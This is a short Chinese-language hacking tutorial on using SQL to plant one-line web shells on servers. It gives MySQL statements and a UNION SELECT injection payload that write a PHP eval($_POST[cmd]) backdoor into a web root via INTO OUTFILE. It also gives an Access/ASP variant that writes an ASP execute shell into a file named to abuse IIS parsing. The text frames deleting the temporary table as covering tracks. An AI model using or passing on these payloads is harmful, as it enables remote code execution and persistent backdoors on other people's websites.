MySQL:
Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裏面就一個cmd字段
Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句話***插入到temp表
Select cmd from temp into out file F:/wwwroot/eval.php; //查詢temp表中的一句話並把結果導入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)
這幾句SQL很簡單,我做了簡單的註釋。
不過想想我們在測試PHP的SQL漏洞的時候經常用如下的語句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然後返回的頁面中可能會出現1~12之間的數字。這裏加入數字3顯示出來了。
如果我們把上面這句改成/**/UNION SELECT 1,2,zerosoul,4,5,6,7,8,9,10,11,12/*,則返回頁面上次顯示3的地方會顯示zerosoul。
也就是說如果我們的select語句後面不帶from table語句的話,我們說查詢的數字或字符會直接返回到查詢結果裏。
既然這樣,我們爲何還要那麼麻煩去建一個表,先導入數據,再導出這樣折騰呢。
有了這個思路,上面那一大段到出一句話的SQL代碼可以直接簡化到一句:
Select <? php eval($_POST[cmd]);?> into outfile F:/wwwroot/eval.php;
這樣做不但簡單明瞭,而且避免了誤刪別人的數據。
ACCESS:
create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("s")%>')
select * into [a] in 'E:\wz\ysnews1\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd